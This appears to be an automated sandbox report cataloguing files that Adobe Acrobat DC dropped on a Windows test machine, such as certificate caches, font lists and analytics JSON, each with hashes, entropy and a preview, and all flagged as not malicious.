SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkltZNNl/tfllXlE/HT8kuW7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKOPeT8MNMa8RdWBwRd
MD5:	EE6B3954D8770E45C66E1010C66777C0
SHA1:	3CCF8D4DA70E385E6F63EAE82F838F6FC4A7E895
SHA-256:	9E2E31DD71C883E74DAAB9C71C41968F21E2AC73D8BAD44D4CD6AEA5D5B9FD39
SHA-512:	2A1E3637F591C1E62B9151A7439BCAAFE91C663BD0A25A236A707BF6DF628065FE4FACEE916E7B26E9950B48C4E0564EECAFFA3C3B5FCC9929F5ECE3541B63B2
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2155480058611468
Encrypted:	false
SSDEEP:	6:kKKatL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:yatiDImsLNkPlE99SNxAhUe/3
MD5:	64F04FE7043F2F9FDB2E40BAA5FAC2A5
SHA1:	02EF927DDF821999056250BBB4B806F5F152837D
SHA-256:	EB3987609B6ABEAB3790AFB44281B001096F6CF85EC9DD4755DCF5617AE27EEC
SHA-512:	24E9CA5474E7F22A1FBF1C26887D901AA081789BA332E2A1832EACEB69F0833C914CAFFB0906DECD439F3DAEE6E25383D5AC67CF0DEE02749BBA91C41B6BBDD0
Malicious:	false
Preview:	p...... .........K...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1624

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1624

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357739809716711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJM3g98kUwPeUkwRe9:YvXKXrA5ZXqUTbdSU3GMbLUkee9
MD5:	1F811C2BE59BFDE93108249F29A90C9C
SHA1:	E28C5D827EF609EAE8D5EBAFBD00A52D1C7511A2
SHA-256:	4E13BB09D31DDC5B7B8463F9F1808FF20C7F0FFD2BD7AD75CDFDC37E49B6C386
SHA-512:	9AC4E39BAEAE8558CDF3430F4CB9541BE55B38D3067F0FDD74D68953A591889421A0876A6B6D087C44CE147D99217BD089F0EEC4433E02296D0411EE49211E50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291082369222878
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfBoTfXpnrPeUkwRe9:YvXKXrA5ZXqUTbdSU3GWTfXcUkee9
MD5:	BF42A32CE8B39569C49CE3DEB3450920
SHA1:	367CAAB8B743ABC4DD4745A204F23D69C559F172
SHA-256:	AF4AD17779F5254D6D13F9E5C917DAA2A5345B79312588FF8D9AC8F9656C12F8
SHA-512:	59963F8446235CFBA156256921FC8ED79C6A7B404251E6CCFFB4B265430A004304C65441972F736E656395D81343B12B2B7B06A480B5856FA555149F5A0E11D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271100086039237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfBD2G6UpnrPeUkwRe9:YvXKXrA5ZXqUTbdSU3GR22cUkee9
MD5:	8C5E7E50BD9C2510E3D9469EAD3665ED
SHA1:	958FDC0259673B4DCF378BEB2F4B60AA228907BE
SHA-256:	B71C79377C15C67E33E1B6FDA0DBD5974585B3330852A793DB732A820EFADA9D
SHA-512:	DCAD08AF8DAC87379A4A4B74C5DAA6914DEE208978BB4B838C131ABA10965B950B6F5D5945DE05028F6759E12B38C04C36D95FA4D427AD6F4E60E3B405FC06A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331821201128442
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfPmwrPeUkwRe9:YvXKXrA5ZXqUTbdSU3GH56Ukee9
MD5:	0DEFED99B692EE87A3DD0CF0DE4FC360
SHA1:	67312897AAA8A58EE05BB160152E947FC230594E
SHA-256:	B3889724DDF12349447D4B66245F36415B7D3BF698456A9890A485F3713E4531
SHA-512:	504A3E55759C0389626C3E43E79B8F497F5A5BA253018A2DB165C7582D36FDA986F8CB7E5A97E3F637FF2ED4A4948E26767C849CD3C98F82DA22F7EC4BE2AC94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684769211914008
Encrypted:	false
SSDEEP:	24:Yv6Xr0ZXqUXgUcpLgE9cQx8LennAvzBvkn0RCmK8czOCCSo:YvXZXqwg1hgy6SAFv5Ah8cv/o
MD5:	7DFF653C7B00354F6E2D6EE9EA60D679
SHA1:	829230B5E7B1419407DFD7D13CCF37BFA02D3E60
SHA-256:	96309A2E48B90B29B8C739BF1E94B2175EA9136AF05B18060B153405B279524A
SHA-512:	551C9612C8AFF57DA6C1064440064881538EAA83BFE54D24E49DC103E499530D7A5FB3059FDF7B60CAA722AD6F15032F81A4668A3E8F5FA09820635D7085926E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2735622829721684
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJf8dPeUkwRe9:YvXKXrA5ZXqUTbdSU3GU8Ukee9
MD5:	B698F8BD6A386C22923A13F73E059091
SHA1:	65A9AAA896DA6E93CB5FA65FE7CBBE03B8C2D946
SHA-256:	9F9BC71ECB3441EDAE236960CB87C0749EDFE43E33B87F3B54FD06FDF1E4FE77
SHA-512:	669192C20498D16A8A43FD05405F6C3560AC46A75062E3FD6ECC1B8A2446EF5DE89F4258BD3B0EB61A078E85B978FF947CE276C9281F1BF56BC2347DCE49B1B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275951369818662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfQ1rPeUkwRe9:YvXKXrA5ZXqUTbdSU3GY16Ukee9
MD5:	4CE06DA93764E2A88EAE55E6951B5A0A
SHA1:	941EA4AF1FDBBB3C04EBA44952568261297A44C9
SHA-256:	22A78F65AC8E1F24B6D1BD6F9466E206462489B87A985ECCC631386104DF4F1E
SHA-512:	BDD97DFB52DCC90FE39C9E4FF54A60BC692A86D9CB0F8AB1CC63E98B7090499B2E91651BBBF711D696D7E775C23D58B3AE3D3EB192A2E988F90F8D4EEF655C6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2873137308996325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfFldPeUkwRe9:YvXKXrA5ZXqUTbdSU3Gz8Ukee9
MD5:	32923627796E57E9B0031176250DD2DD
SHA1:	440F754AC0A4A226DF8370F76F6C3A9E5197228C
SHA-256:	1A3604B25266093E6FEA2FDCF083B4C8EBCDC72AA30A28DF8186EDCE51BB6EF3
SHA-512:	18F9A237CC645D933B8CE287F40959A572E97320985482FC1ABBB84CDD935863B116801D305B6A41157B7016B47D21FC3A58AD019756230FBD96339FA22D9446
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.29866832821029
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfzdPeUkwRe9:YvXKXrA5ZXqUTbdSU3Gb8Ukee9
MD5:	C6464492E1539B8DF22DF71E3CB5B32B
SHA1:	EE246E49B5E104305C7B2436215C53A5111EC68E
SHA-256:	583974BBA9C5F9D144B3819BAD34C2FBB8D22C6FAEB1CCFF338BABBA1DA86821
SHA-512:	E33FDB17832955D3BD51E099BE0C79D55E61EFD0CA7E078C9FA1F65341C6B7919F8A232A118D40FE1237A2E19164613A26030D3FC7831476B059806FD4F4512B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e953e0b4-efff-455e-a6f7-354864889a8b","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743945108,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278882410927751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrA5DlnXrZHYUXjb24kF0YWQUFeoAvJfYdPeUkwRe9:YvXKXrA5ZXqUTbdSU3Gg8Ukee9
MD5:	3AD0CD78A3A5C9CDA24D8C4980E001DB
SHA1:	B7545020683676958F4A32E1190CB99425BF8ED3
